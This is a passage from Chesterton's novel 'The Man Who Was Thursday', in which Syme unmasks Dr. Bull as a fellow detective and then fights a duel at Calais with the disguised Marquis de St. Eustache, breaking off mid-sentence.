London. +From each the innumerable roofs of slate looked like the leaden +surges of a grey, troubled sea after rain. Syme was increasingly +conscious that his new adventure had somehow a quality of cold +sanity worse than the wild adventures of the past. Last night, for +instance, the tall tenements had seemed to him like a tower in a +dream. As he now went up the weary and perpetual steps, he was +daunted and bewildered by their almost infinite series. But it was +not the hot horror of a dream or of anything that might be +exaggeration or delusion. Their infinity was more like the empty +infinity of arithmetic, something unthinkable, yet necessary to +thought. Or it was like the stunning statements of astronomy about +the distance of the fixed stars. He was ascending the house of +reason, a thing more hideous than unreason itself. + +By the time they reached Dr. Bull's landing, a last window showed +them a harsh, white dawn edged with banks of a kind of coarse red, +more like red clay than red cloud. And when they entered Dr. Bull's +bare garret it was full of light. + +Syme had been haunted by a half historic memory in connection with +these empty rooms and that austere daybreak. The moment he saw the +garret and Dr. Bull sitting writing at a table, he remembered what +the memory was--the French Revolution. There should have been the +black outline of a guillotine against that heavy red and white of +the morning. Dr. Bull was in his white shirt and black breeches +only; his cropped, dark head might well have just come out of its +wig; he might have been Marat or a more slipshod Robespierre. + +Yet when he was seen properly, the French fancy fell away. The +Jacobins were idealists; there was about this man a murderous +materialism. His Dosition gave him a somewhat new appearance. The +strong, white light of morning coming from one side creating sharp +shadows, made him seem both more pale and more angular than he had +looked at the breakfast on the balcony. Thus the two black glasses +that encased his eyes might really have been black cavities in his +skull, making him look like a death's-head. And, indeed, if ever +Death himself sat writing at a wooden table, it might have been he. + +He looked up and smiled brightly enough as the men came in, and +rose with the resilient rapidity of which the Professor had +spoken. He set chairs for both of them, and going to a peg behind +the door, proceeded to put on a coat and waistcoat of rough, dark +tweed; he buttoned it up neatly, and came back to sit down at his +table. + +The quiet good humour of his manner left his two opponents +helpless. It was with some momentary difficulty that the +Professor broke silence and began, "I'm sorry to disturb you so +early, comrade," said he, with a careful resumption of the slow +de Worms manner. "You have no doubt made all the arrangements for +the Paris affair?" Then he added with infinite slowness, "We have +information which renders intolerable anything in the nature of a +moment's delay." + +Dr. Bull smiled again, but continued to gaze on them without +speaking. The Professor resumed, a pause before each weary word-- + +"Please do not think me excessively abrupt; but I advise you to +alter those plans, or if it is too late for that, to follow your +agent with all the support you can get for him. Comrade Syme and +I have had an experience which it would take more time to recount +than we can afford, if we are to act on it. I will, however, +relate the occurrence in detail, even at the risk of losing time, +if you really feel that it is essential to the understanding of +the problem we have to discuss." + +He was spinning out his sentences, making them intolerably long +and lingering, in the hope of maddening the practical little +Doctor into an explosion of impatience which might show his hand. +But the little Doctor continued only to stare and smile, and the +monologue was uphill work. Syme began to feel a new sickness and +despair. The Doctor's smile and silence were not at all like the +cataleptic stare and horrible silence which he had confronted in +the Professor half an hour before. About the Professor's makeup +and all his antics there was always something merely grotesque, +like a gollywog. Syme remembered those wild woes of yesterday as +one remembers being afraid of Bogy in childhood. But here was +daylight; here was a healthy, square-shouldered man in tweeds, +not odd save for the accident of his ugly spectacles, not glaring +or grinning at all, but smiling steadily and not saying a word. +The whole had a sense of unbearable reality. Under the increasing +sunlight the colours of the Doctor's complexion, the pattern of +his tweeds, grew and expanded outrageously, as such things grow +too important in a realistic novel. But his smile was quite +slight, the pose of his head polite; the only uncanny thing was +his silence. + +"As I say," resumed the Professor, like a man toiling through +heavy sand, "the incident that has occurred to us and has led +us to ask for information about the Marquis, is one which you +may think it better to have narrated; but as it came in the +way of Comrade Syme rather than me--" + +His words he seemed to be dragging out like words in an anthem; +but Syme, who was watching, saw his long fingers rattle quickly +on the edge of the crazy table. He read the message, "You must +go on. This devil has sucked me dry!" + +Syme plunged into the breach with that bravado of improvisation +which always came to him when he was alarmed. + +"Yes, the thing really happened to me," he said hastily. "I had +the good fortune to fall into conversation with a detective who +took me, thanks to my hat, for a respectable person. Wishing to +clinch my reputation for respectability, I took him and made him +very drunk at the Savoy. Under this influence he became friendly, +and told me in so many words that within a day or two they hope +to arrest the Marquis in France. + +So unless you or I can get on his track--" + +The Doctor was still smiling in the most friendly way, and his +protected eyes were still impenetrable. The Professor signalled to +Syme that he would resume his explanation, and he began again with +the same elaborate calm. + +"Syme immediately brought this information to me, and we came here +together to see what use you would be inclined to make of it. It +seems to me unquestionably urgent that--" + +All this time Syme had been staring at the Doctor almost as +steadily as the Doctor stared at the Professor, but quite without +the smile. The nerves of both comrades-in-arms were near snapping +under that strain of motionless amiability, when Syme suddenly +leant forward and idly tapped the edge of the table. His message +to his ally ran, "I have an intuition." + +The Professor, with scarcely a pause in his monologue, signalled +back, "Then sit on it." + +Syme telegraphed, "It is quite extraordinary." + +The other answered, "Extraordinary rot!" + +Syme said, "I am a poet." + +The other retorted, "You are a dead man." + +Syme had gone quite red up to his yellow hair, and his eyes were +burning feverishly. As he said he had an intuition, and it had +risen to a sort of lightheaded certainty. Resuming his symbolic +taps, he signalled to his friend, "You scarcely realise how poetic +my intuition is. It has that sudden quality we sometimes feel in +the coming of spring." + +He then studied the answer on his friend's fingers. The answer +was, "Go to hell! " + +The Professor then resumed his merely verbal monologue addressed +to the Doctor. + +"Perhaps I should rather say," said Syme on his fingers, "that it +resembles that sudden smell of the sea which may be found in the +heart of lush woods." + +His companion disdained to reply. + +"Or yet again," tapped Syme, "it is positive, as is the passionate +red hair of a beautiful woman." + +The Professor was continuing his speech, but in the middle of it +Syme decided to act. He leant across the table, and said in a +voice that could not be neglected-- + +"Dr. Bull!" + +The Doctor's sleek and smiling head did not move, but they could +have sworn that under his dark glasses his eyes darted towards +Syme. + +"Dr. Bull," said Syme, in a voice peculiarly precise and +courteous, "would you do me a small favour? Would you be so kind +as to take off your spectacles?" + +The Professor swung round on his seat, and stared at Syme with a +sort of frozen fury of astonishment. Syme, like a man who has +thrown his life and fortune on the table, leaned forward with a +fiery face. The Doctor did not move. + +For a few seconds there was a silence in which one could hear a +pin drop, split once by the single hoot of a distant steamer on +the Thames. Then Dr. Bull rose slowly, still smiling, and took +off his spectacles. + +Syme sprang to his feet, stepping backwards a little, like a +chemical lecturer from a successful explosion. His eyes were like +stars, and for an instant he could only point without speaking. + +The Professor had also started to his feet, forgetful of his +supposed paralysis. He leant on the back of the chair and stared +doubtfully at Dr. Bull, as if the Doctor had been turned into a +toad before his eyes. And indeed it was almost as great a +transformation scene. + +The two detectives saw sitting in the chair before them a very +boyish-looking young man, with very frank and happy hazel eyes, an +open expression, cockney clothes like those of a city clerk, and +an unquestionable breath about him of being very good and rather +commonplace. The smile was still there, but it might have been the +first smile of a baby. + +"I knew I was a poet," cried Syme in a sort of ecstasy. "I knew my +intuition was as infallible as the Pope. It was the spectacles that +did it! It was all the spectacles. Given those beastly black eyes, +and all the rest of him his health and his jolly looks, made him a +live devil among dead ones." + +"It certainly does make a queer difference," said the Professor +shakily. "But as regards the project of Dr. Bull--" + +"Project be damned!" roared Syme, beside himself. "Look at him! +Look at his face, look at his collar, look at his blessed boots! +You don't suppose, do you, that that thing's an anarchist?" + +"Syme!" cried the other in an apprehensive agony. + +"Why, by God," said Syme, "I'll take the risk of that myself! Dr. +Bull, I am a police officer. There's my card," and he flung down +the blue card upon the table. + +The Professor still feared that all was lost; but he was loyal. He +pulled out his own official card and put it beside his friend's. +Then the third man burst out laughing, and for the first time that +morning they heard his voice. + +"I'm awfully glad you chaps have come so early," he said, with +a sort of schoolboy flippancy, "for we can all start for France +together. Yes, I'm in the force right enough," and he flicked a +blue card towards them lightly as a matter of form. + +Clapping a brisk bowler on his head and resuming his goblin +glasses, the Doctor moved so quickly towards the door, that the +others instinctively followed him. Syme seemed a little distrait, +and as he passed under the doorway he suddenly struck his stick +on the stone passage so that it rang. + +"But Lord God Almighty," he cried out, "if this is all right, there +were more damned detectives than there were damned dynamiters at +the damned Council!" + +"We might have fought easily," said Bull; "we were four against +three." + +The Professor was descending the stairs, but his voice came up from +below. + +"No," said the voice, "we were not four against three--we were not +so lucky. We were four against One." + +The others went down the stairs in silence. + +The young man called Bull, with an innocent courtesy characteristic +of him, insisted on going last until they reached the street; but +there his own robust rapidity asserted itself unconsciously, and he +walked quickly on ahead towards a railway inquiry office, talking +to the others over his shoulder. + +"It is jolly to get some pals," he said. "I've been half dead with +the jumps, being quite alone. I nearly flung my arms round Gogol +and embraced him, which would have been imprudent. I hope you won't +despise me for having been in a blue funk." + +"All the blue devils in blue hell," said Syme, "contributed to my +blue funk! But the worst devil was you and your infernal goggles." + +The young man laughed delightedly. + +"Wasn't it a rag?" he said. "Such a simple idea--not my own. I +haven't got the brains. You see, I wanted to go into the detective +service, especially the anti-dynamite business. But for that +purpose they wanted someone to dress up as a dynamiter; and they +all swore by blazes that I could never look like a dynamiter. They +said my very walk was respectable, and that seen from behind I +looked like the British Constitution. They said I looked too +healthy and too optimistic, and too reliable and benevolent; they +called me all sorts of names at Scotland Yard. They said that if I +had been a criminal, I might have made my fortune by looking so +like an honest man; but as I had the misfortune to be an honest +man, there was not even the remotest chance of my assisting them by +ever looking like a criminal. But as last I was brought before some +old josser who was high up in the force, and who seemed to have no +end of a head on his shoulders. And there the others all talked +hopelessly. One asked whether a bushy beard would hide my nice +smile; another said that if they blacked my face I might look like +a negro anarchist; but this old chap chipped in with a most +extraordinary remark. 'A pair of smoked spectacles will do it,' he +said positively. 'Look at him now; he looks like an angelic office +boy. Put him on a pair of smoked spectacles, and children will +scream at the sight of him.' And so it was, by George! When once my +eyes were covered, all the rest, smile and big shoulders and short +hair, made me look a perfect little devil. As I say, it was simple +enough when it was done, like miracles; but that wasn't the really +miraculous part of it. There was one really staggering thing about +the business, and my head still turns at it." + +"What was that?" asked Syme. + +"I'll tell you," answered the man in spectacles. "This big pot in +the police who sized me up so that he knew how the goggles would +go with my hair and socks--by God, he never saw me at all!" + +Syme's eyes suddenly flashed on him. + +"How was that?" he asked. "I thought you talked to him." + +"So I did," said Bull brightly; "but we talked in a pitch-dark +room like a coalcellar. There, you would never have guessed that." + +"I could not have conceived it," said Syme gravely. + +"It is indeed a new idea," said the Professor. + +Their new ally was in practical matters a whirlwind. At the +inquiry office he asked with businesslike brevity about the trains +for Dover. Having got his information, he bundled the company into +a cab, and put them and himself inside a railway carriage before +they had properly realised the breathless process. They were +already on the Calais boat before conversation flowed freely. + +"I had already arranged," he explained, "to go to France for my +lunch; but I am delighted to have someone to lunch with me. You +see, I had to send that beast, the Marquis, over with his bomb, +because the President had his eye on me, though God knows how. +I'll tell you the story some day. It was perfectly choking. +Whenever I tried to slip out of it I saw the President somewhere, +smiling out of the bow-window of a club, or taking off his hat to +me from the top of an omnibus. I tell you, you can say what you +like, that fellow sold himself to the devil; he can be in six +places at once." + +"So you sent the Marquis off, I understand," asked the Professor. +"Was it long ago? Shall we be in time to catch him?" + +"Yes," answered the new guide, "I've timed it all. He'll still be +at Calais when we arrive." + +"But when we do catch him at Calais," said the Professor, "what are +we going to do?" + +At this question the countenance of Dr. Bull fell for the first +time. He reflected a little, and then said-- + +"Theoretically, I suppose, we ought to call the police." + +"Not I," said Syme. "Theoretically I ought to drown myself first. I +promised a poor fellow, who was a real modern pessimist, on my word +of honour not to tell the police. I'm no hand at casuistry, but I +can't break my word to a modern pessimist. It's like breaking one's +word to a child." + +"I'm in the same boat," said the Professor. "I tried to tell the +police and I couldn't, because of some silly oath I took. You see, +when I was an actor I was a sort of all-round beast. Perjury or +treason is the only crime I haven't committed. If I did that I +shouldn't know the difference between right and wrong." + +"I've been through all that," said Dr. Bull, "and I've made up my +mind. I gave my promise to the Secretary--you know him, man who +smiles upside down. My friends, that man is the most utterly +unhappy man that was ever human. It may be his digestion, or his +conscience, or his nerves, or his philosophy of the universe, but +he's damned, he's in hell! Well, I can't turn on a man like that, +and hunt him down. It's like whipping a leper. I may be mad, but +that's how I feel; and there's jolly well the end of it." + +"I don't think you're mad," said Syme. "I knew you would decide +like that when first you--" + +"Eh?" said Dr. Bull. + +"When first you took off your spectacles." + +Dr. Bull smiled a little, and strolled across the deck to look at +the sunlit sea. Then he strolled back again, kicking his heels +carelessly, and a companionable silence fell between the three men. + +"Well," said Syme, "it seems that we have all the same kind of +morality or immorality, so we had better face the fact that comes +of it." + +"Yes," assented the Professor, "you're quite right; and we must +hurry up, for I can see the Grey Nose standing out from France." + +"The fact that comes of it," said Syme seriously, "is this, that we +three are alone on this planet. Gogol has gone, God knows where; +perhaps the President has smashed him like a fly. On the Council we +are three men against three, like the Romans who held the bridge. +But we are worse off than that, first because they can appeal to +their organization and we cannot appeal to ours, and second +because--" + +"Because one of those other three men," said the Professor, "is not +a man." + +Syme nodded and was silent for a second or two, then he said-- + +"My idea is this. We must do something to keep the Marquis in +Calais till tomorrow midday. I have turned over twenty schemes in +my head. We cannot denounce him as a dynamiter; that is agreed. We +cannot get him detained on some trivial charge, for we should have +to appear; he knows us, and he would smell a rat. We cannot pretend +to keep him on anarchist business; he might swallow much in that +way, but not the notion of stopping in Calais while the Czar went +safely through Paris. We might try to kidnap him, and lock him up +ourselves; but he is a well-known man here. He has a whole +bodyguard of friends; he is very strong and brave, and the event is +doubtful. The only thing I can see to do is actually to take +advantage of the very things that are in the Marquis's favour. I am +going to profit by the fact that he is a highly respected nobleman. +I am going to profit by the fact that he has many friends and moves +in the best society." + +"What the devil are you talking about?" asked the Professor. + +"The Symes are first mentioned in the fourteenth century," said +Syme; "but there is a tradition that one of them rode behind Bruce +at Bannockburn. Since 1350 the tree is quite clear." + +"He's gone off his head," said the little Doctor, staring. + +"Our bearings," continued Syme calmly, "are 'argent a chevron gules +charged with three cross crosslets of the field.' The motto +varies." + +The Professor seized Syme roughly by the waistcoat. + +"We are just inshore," he said. "Are you seasick or joking in the +wrong place?" + +"My remarks are almost painfully practical," answered Syme, in an +unhurried manner. "The house of St. Eustache also is very ancient. +The Marquis cannot deny that he is a gentleman. He cannot deny +that I am a gentleman. And in order to put the matter of my social +position quite beyond a doubt, I propose at the earliest +opportunity to knock his hat off. But here we are in the harbour." + +They went on shore under the strong sun in a sort of daze. Syme, +who had now taken the lead as Bull had taken it in London, led +them along a kind of marine parade until he came to some cafes, +embowered in a bulk of greenery and overlooking the sea. As he +went before them his step was slightly swaggering, and he swung +his stick like a sword. He was making apparently for the extreme +end of the line of cafes, but he stopped abruptly. With a sharp +gesture he motioned them to silence, but he pointed with one +gloved finger to a cafe table under a bank of flowering foliage +at which sat the Marquis de St. Eustache, his teeth shining in +his thick, black beard, and his bold, brown face shadowed by a +light yellow straw hat and outlined against the violet sea. + + + +CHAPTER X + +THE DUEL + +SYME sat down at a cafe table with his companions, his blue eyes +sparkling like the bright sea below, and ordered a bottle of +Saumur with a pleased impatience. He was for some reason in a +condition of curious hilarity. His spirits were already +unnaturally high; they rose as the Saumur sank, and in half an +hour his talk was a torrent of nonsense. He professed to be +making out a plan of the conversation which was going to ensue +between himself and the deadly Marquis. He jotted it down wildly +with a pencil. It was arranged like a printed catechism, with +questions and answers, and was delivered with an extraordinary +rapidity of utterance. + +"I shall approach. Before taking off his hat, I shall take off my +own. I shall say, 'The Marquis de Saint Eustache, I believe.' He +will say, 'The celebrated Mr. Syme, I presume.' He will say in the +most exquisite French, 'How are you?' I shall reply in the most +exquisite Cockney, 'Oh, just the Syme--' " + +"Oh, shut it," said the man in spectacles. "Pull yourself +together, and chuck away that bit of paper. What are you really +going to do?" + +"But it was a lovely catechism," said Syme pathetically. "Do let +me read it you. It has only forty-three questions and answers, and +some of the Marquis's answers are wonderfully witty. I like to be +just to my enemy." + +"But what's the good of it all?" asked Dr. Bull in exasperation. + +"It leads up to my challenge, don't you see," said Syme, beaming. +"When the Marquis has given the thirty-ninth reply, which runs--" + +"Has it by any chance occurred to you," asked the Professor, with +a ponderous simplicity, "that the Marquis may not say all the +forty-three things you have put down for him? In that case, I +understand, your own epigrams may appear somewhat more forced." + +Syme struck the table with a radiant face. + +"Why, how true that is," he said, "and I never thought of it. Sir, +you have an intellect beyond the common. You will make a name." + +"Oh, you're as drunk as an owl!" said the Doctor. + +"It only remains," continued Syme quite unperturbed, "to adopt +some other method of breaking the ice (if I may so express it) +between myself and the man I wish to kill. And since the course of +a dialogue cannot be predicted by one of its parties alone (as you +have pointed out with such recondite acumen), the only thing to be +done, I suppose, is for the one party, as far as possible, to do +all the dialogue by himself. And so I will, by George!" And he +stood up suddenly, his yellow hair blowing in the slight sea +breeze. + +A band was playing in a cafe chantant hidden somewhere among the +trees, and a woman had just stopped singing. On Syme's heated head +the bray of the brass band seemed like the jar and jingle of that +barrel-organ in Leicester Square, to the tune of which he had once +stood up to die. He looked across to the little table where the +Marquis sat. The man had two companions now, solemn Frenchmen in +frock-coats and silk hats, one of them with the red rosette of the +Legion of Honour, evidently people of a solid social position. +Besides these black, cylindrical costumes, the Marquis, in his +loose straw hat and light spring clothes, looked Bohemian and even +barbaric; but he looked the Marquis. Indeed, one might say that he +looked the king, with his animal elegance, his scornful eyes, and +his proud head lifted against the purple sea. But he was no +Christian king, at any rate; he was, rather, some swarthy despot, +half Greek, half Asiatic, who in the days when slavery seemed +natural looked down on the Mediterranean, on his galley and his +groaning slaves. Just so, Syme thought, would the brown-gold face +of such a tyrant have shown against the dark green olives and the +burning blue. + +"Are you going to address the meeting?" asked the Professor +peevishly, seeing that Syme still stood up without moving. + +Syme drained his last glass of sparkling wine. + +"I am," he said, pointing across to the Marquis and his companions, +"that meeting. That meeting displeases me. I am going to pull that +meeting's great ugly, mahogany-coloured nose." + +He stepped across swiftly, if not quite steadily. The Marquis, +seeing him, arched his black Assyrian eyebrows in surprise, but +smiled politely. + +"You are Mr. Syme, I think," he said. + +Syme bowed. + +"And you are the Marquis de Saint Eustache," he said gracefully. +"Permit me to pull your nose." + +He leant over to do so, but the Marquis started backwards, +upsetting his chair, and the two men in top hats held Syme back +by the shoulders. + +"This man has insulted me!" said Syme, with gestures of +explanation. + +"Insulted you?" cried the gentleman with the red rosette, "when?" + +"Oh, just now," said Syme recklessly. "He insulted my mother." + +"Insulted your mother!" exclaimed the gentleman incredulously. + +"Well, anyhow," said Syme, conceding a point, "my aunt." + +"But how can the Marquis have insulted your aunt just now?" said +the second gentleman with some legitimate wonder. "He has been +sitting here all the time." + +"Ah, it was what he said!" said Syme darkly. + +"I said nothing at all," said the Marquis, "except something +about the band. I only said that I liked Wagner played well." + +"It was an allusion to my family," said Syme firmly. "My aunt +played Wagner badly. It was a painful subject. We are always +being insulted about it." + +"This seems most extraordinary," said the gentleman who was +decore, looking doubtfully at the Marquis. + +"Oh, I assure you," said Syme earnestly, "the whole of your +conversation was simply packed with sinister allusions to my +aunt's weaknesses." + +"This is nonsense!" said the second gentleman. "I for one have +said nothing for half an hour except that I liked the singing of +that girl with black hair." + +"Well, there you are again!" said Syme indignantly. "My aunt's was +red." + +"It seems to me," said the other, "that you are simply seeking a +pretext to insult the Marquis." + +"By George!" said Syme, facing round and looking at him, "what a +clever chap you are!" + +The Marquis started up with eyes flaming like a tiger's. + +"Seeking a quarrel with me!" he cried. "Seeking a fight with me! By +God! there was never a man who had to seek long. These gentlemen +will perhaps act for me. There are still four hours of daylight. +Let us fight this evening." + +Syme bowed with a quite beautiful graciousness. + +"Marquis," he said, "your action is worthy of your fame and blood. +Permit me to consult for a moment with the gentlemen in whose +hands I shall place myself." + +In three long strides he rejoined his companions, and they, who +had seen his champagne-inspired attack and listened to his idiotic +explanations, were quite startled at the look of him. For now that +he came back to them he was quite sober, a little pale, and he +spoke in a low voice of passionate practicality. + +"I have done it," he said hoarsely. "I have fixed a fight on the +beast. But look here, and listen carefully. There is no time for +talk. You are my seconds, and everything must come from you. Now +you must insist, and insist absolutely, on the duel coming off +after seven tomorrow, so as to give me the chance of preventing him +from catching the 7.45 for Paris. If he misses that he misses his +crime. He can't refuse to meet you on such a small point of time +and place. But this is what he will do. He will choose a field +somewhere near a wayside station, where he can pick up the train. +He is a very good swordsman, and he will trust to killing me in +time to catch it. But I can fence well too, and I think I can keep +him in play, at any rate, until the train is lost. Then perhaps he +may kill me to console his feelings. You understand? Very well +then, let me introduce you to some charming friends of mine," and +leading them quickly across the parade, he presented them to the +Marquis's seconds by two very aristocratic names of which they had +not previously heard. + +Syme was subject to spasms of singular common sense, not otherwise +a part of his character. They were (as he said of his impulse about +the spectacles) poetic intuitions, and they sometimes rose to the +exaltation of prophecy. + +He had correctly calculated in this case the policy of his +opponent. When the Marquis was informed by his seconds that Syme +could only fight in the morning, he must fully have realised that +an obstacle had suddenly arisen between him and his bomb-throwing +business in the capital. Naturally he could not explain this +objection to his friends, so he chose the course which Syme had +predicted. He induced his seconds to settle on a small meadow not +far from the railway, and he trusted to the fatality of the first +engagement. + +When he came down very coolly to the field of honour, no one could +have guessed that he had any anxiety about a journey; his hands +were in his pockets, his straw hat on the back of his head, his +handsome face brazen in the sun. But it might have struck a +stranger as odd that there appeared in his train, not only his +seconds carrying the sword-case, but two of his servants carrying +a portmanteau and a luncheon basket. + +Early as was the hour, the sun soaked everything in warmth, and +Syme was vaguely surprised to see so many spring flowers burning +gold and silver in the tall grass in which the whole company stood +almost knee-deep. + +With the exception of the Marquis, all the men were in sombre and +solemn morning-dress, with hats like black chimney-pots; the little +Doctor especially, with the addition of his black spectacles, +looked like an undertaker in a farce. Syme could not help feeling a +comic contrast between this funereal church parade of apparel and +the rich and glistening meadow, growing wild flowers everywhere. +But, indeed, this comic contrast between the yellow blossoms and +the black hats was but a symbol of the tragic contrast between the +yellow blossoms and the black business. On his right was a little +wood; far away to his left lay the long curve of the railway line, +which he was, so to speak, guarding from the Marquis, whose goal +and escape it was. In front of him, behind the black group of his +opponents, he could see, like a tinted cloud, a small almond bush +in flower against the faint line of the sea. + +The member of the Legion of Honour, whose name it seemed was +Colonel Ducroix, approached the Professor and Dr. Bull with great +politeness, and suggested that the play should terminate with the +first considerable hurt. + +Dr. Bull, however, having been carefully coached by Syme upon this +point of policy, insisted, with great dignity and in very bad +French, that it should continue until one of the combatants was +disabled. Syme had made up his mind that he could avoid disabling +the Marquis and prevent the Marquis from disabling him for at +least twenty minutes. In twenty minutes the Paris train would have +gone by. + +"To a man of the well-known skill and valour of Monsieur de St. +Eustache," said the Professor solemnly, "it must be a matter of +indifference which method is adopted, and our principal has strong +reasons for demanding the longer encounter, reasons the delicacy +of which prevent me from being explicit, but for the just and +honourable nature of which I can--" + +"Peste!" broke from the Marquis behind, whose face had suddenly +darkened, "let us stop talking and begin," and he slashed off the +head of a tall flower with his stick. + +Syme understood his rude impatience and instinctively looked over +his shoulder to see whether the train was coming in sight. But +there was no smoke on the horizon. + +Colonel Ducroix knelt down and unlocked the case, taking out a +pair of twin swords, which took the sunlight and turned to two +streaks of white fire. He offered one to the Marquis, who snatched +it without ceremony, and another to Syme, who took it, bent it, +and poised it with as much delay as was consistent with dignity. + +Then the Colonel took out another pair of blades, and taking one +himself and giving another to Dr. Bull, proceeded to place the +men. + +Both combatants had thrown off their coats and waistcoats, and +stood sword in hand. The seconds stood on each side of the line +of fight with drawn swords also, but still sombre in their dark +frock-coats and hats. The principals saluted. The Colonel said +quietly, "Engage!" and the two blades touched and tingled. + +When the jar of the joined iron ran up Syme's arm, all the +fantastic fears that have been the subject of this story fell +from him like dreams from a man waking up in bed. He remembered +them clearly and in order as mere delusions of the nerves--how +the fear of the Professor had been the fear of the tyrannic +accidents of nightmare, and how the fear of the Doctor had been +the fear of the airless vacuum of science. The first was the old +fear that any miracle might happen, the second the more hopeless +modern fear that no miracle can ever happen. But he saw that +these fears were fancies, for he found himself in the presence of +the great fact of the fear of death, with its coarse and pitiless +common sense. He felt like a man who had dreamed all night of +falling over precipices, and had woke up on the morning when he +was to be hanged. For as soon as he had seen the sunlight run +down the channel of his foe's foreshortened blade, and as soon as +he had felt the two tongues of steel touch, vibrating like two +living things, he knew that his enemy was a terrible fighter, and +that probably his last hour had come. + +He felt a strange and vivid value in all the earth around him, in +the grass under his feet; he felt the love of life in all living +things. He could almost fancy that he heard the grass growing; he +could almost fancy that even as he stood fresh flowers were +springing up and breaking into blossom in the meadow--flowers blood +red and burning gold and blue, fulfilling the whole pageant of the +spring. And whenever his eyes strayed for a flash from the calm, +staring, hypnotic eyes of the Marquis, they saw the little tuft of +almond tree against the sky-line. He had the feeling that if by +some miracle he escaped he would be ready to sit for ever before +that almond tree, desiring nothing else in the world. + +But while earth and sky and everything had the living beauty of a +thing lost, the other half of his head was as clear as glass, and +he was parrying his enemy's point with a kind of clockwork skill of +which he had hardly supposed himself capable. Once his enemy's +point ran along his wrist, leaving a slight streak of blood, but it +either was not noticed or was tacitly ignored. Every now and then +he riposted, and once or twice he could almost fancy that he felt +his point go home, but as there was no blood on blade or shirt he +supposed he was mistaken. Then came an interruption and a change. + +At the risk of losing all, the Marquis, interrupting his quiet +stare, flashed one glance over his shoulder at the line of railway +on his right. Then he turned on Syme a face transfigured to that of +a fiend, and began to fight as if with twenty weapons. The attack +came so fast and furious, that the one shining sword seemed a +shower of shining arrows. Syme had no chance to look at the +railway; but also he had no need. He could guess the reason of the +Marquis's sudden madness of battle--the Paris train was in sight. + +But the Marquis's morbid energy over-reached itself. Twice Syme, +parrying, knocked his opponent's point far out of the fighting +circle; and the third time his riposte was so rapid, that there +was no doubt about the hit this time. Syme's sword actually bent +under the weight of the Marquis's body, which it had pierced. + +Syme was as certain that he had stuck his blade into his enemy as +a gardener that he has stuck his spade into the ground. Yet the +Marquis sprang back from the stroke without a stagger, and Syme +stood staring at his own sword-point like an idiot. There was no +blood on it at all. + +There was an instant of rigid silence, and then Syme in his turn +fell furiously on the other, filled with a flaming curiosity. The +Marquis was probably, in a general sense, a better fencer than he, +as he had surmised at the beginning, but at the moment the Marquis +seemed distraught and at a disadvantage. He fought wildly and even +weakly, and he constantly looked away at the railway line, almost +as if he feared the train more than the pointed steel. Syme, on the +other hand, fought fiercely but still carefully, in an intellectual +fury, eager to solve the riddle of his own bloodless sword. For +this purpose, he aimed less at the Marquis's body, and more at his +throat and head. A minute and a half afterwards he felt his point +enter the man's neck below the jaw. It came out clean. Half mad, he +thrust again, and made what should have been a bloody scar on the +Marquis's cheek. But there was no scar. + +For one moment the heaven of Syme again grew black with +supernatural terrors. Surely the man had a charmed life. But this +new spiritual dread was a more awful thing than had been the mere +spiritual topsy-turvydom symbolised by the paralytic who pursued +him. The Professor was only a goblin; this man was a devil--perhaps +he was the Devil! Anyhow, this was certain, that three times had a +human sword been driven into him and made no mark. When Syme had +that thought he drew himself up, and all that was good in him sang +high up in the air as a high wind sings in the trees. He thought of +all the human things in his story--of the Chinese lanterns in +Saffron Park, of the girl's red hair in the garden, of the honest, +beer-swilling sailors down by the dock, of his loyal companions +standing by. Perhaps he had been chosen as a champion of all these +fresh and kindly things to cross swords with the enemy of all +creation. "After all," he said to himself, "I am more than a devil; +I am a man. I can do the one thing which Satan himself cannot do--I +can die," and as the word went through his head, he heard a faint +and far-off hoot, which would soon be the roar of the Paris train. + +He fell to fighting again with a supernatural levity, like a +Mohammedan panting for Paradise. As the train came nearer and +nearer he fancied he could see people putting up the floral +arches in Paris; he joined in the growing noise and the glory of +the great Republic whose gate he was guarding against Hell. His +thoughts rose higher and higher with the rising roar of the +train, which ended, as if proudly, in a long and piercing +whistle. The train stopped. + +Suddenly, to the astonishment of everyone the Marquis sprang back +quite out of sword reach and threw down his sword. The leap was +wonderful, and not the less wonderful because Syme had plunged his +sword a moment before into the man's thigh. + +"Stop!" said the Marquis in a voice that compelled a momentary +obedience. "I want to say something." + +"What is the matter?" asked Colonel Ducroix, staring. "Has there +been foul play?" + +"There has been foul play somewhere," said Dr. Bull, who was a +little pale. "Our principal has wounded the Marquis four times +at least, and he is none the worse ." + +The Marquis put up his hand with a curious air of ghastly +patience. + +"Please let me speak," he said. "It is rather important. Mr. +Syme," he continued, turning to his opponent, "we are fighting +today, if I remember right, because you expressed a wish (which +I thought irrational) to pull my nose. Would you oblige me by +pulling my nose now as quickly as possible? I have to catch a +train." + +"I protest that this is most irregular," said Dr. Bull +indignantly. + +"It is certainly somewhat opposed to precedent," said Colonel +Ducroix, looking wistfully at his principal. "There is, I think, +one case on record (Captain Bellegarde and the Baron Zumpt) in +which the weapons were changed in the middle of the encounter at +the request of one of the combatants. But one can hardly call +one's nose a weapon." + +"Will you or will you not pull my nose?" said the Marquis in +exasperation. "Come, come, Mr. Syme! You wanted to do it, do it! +You can have no conception of how important it is to me. Don't be +so selfish! Pull my nose at once, when I ask you!" and he bent +slightly forward with a fascinating smile. The Paris train, +panting and groaning, had grated into a little station behind the +neighbouring hill. + +Syme had the feeling he had more than once had in these adventures +--the sense that a horrible and sublime wave lifted to heaven was +just toppling over. Walking in a world he half understood, he took +two paces forward and seized the Roman nose of this remarkable +nobleman. He pulled it hard, and it came off in his hand. + +He stood for some seconds with a foolish solemnity, with the +pasteboard proboscis still between his fingers, looking at it, +while the sun and the clouds and the wooded hills looked down +upon this imbecile scene. + +The Marquis broke the silence in a loud and cheerful voice. + +"If anyone has any use for my left eyebrow," he said, "he can have +it. Colonel Ducroix, do accept my left eyebrow! It's the kind of +thing that might come in useful any day," and he gravely tore off +one of his swarthy Assyrian brows, bringing about half his brown +forehead with it, and politely offered it to the Colonel, who +stood crimson and speechless with rage. + +"If I had known," he spluttered, "that I was acting for a poltroon +who pads himself to fight--" + +"Oh, I know, I know!" said the Marquis, recklessly throwing various +parts of himself right and left about the field. "You are making a +mistake; but it can't be explained just now. I tell you the train +has come into the station!" + +"Yes," said Dr. Bull fiercely, "and the train shall go out of the +station. It shall go out without you. We know well enough for what +devil's work--" + +The mysterious Marquis lifted his hands with a desperate gesture. +He was a strange scarecrow standing there in the sun with half his +old face peeled off, and half another face glaring and grinning +from underneath. + +"Will you drive me mad?" he cried. "The train--" + +"You shall not go by the train," said Syme firmly, and grasped his +sword. + +The wild figure turned towards Syme, and seemed to be gathering +itself for a sublime effort before speaking. + +"You great fat, blasted, 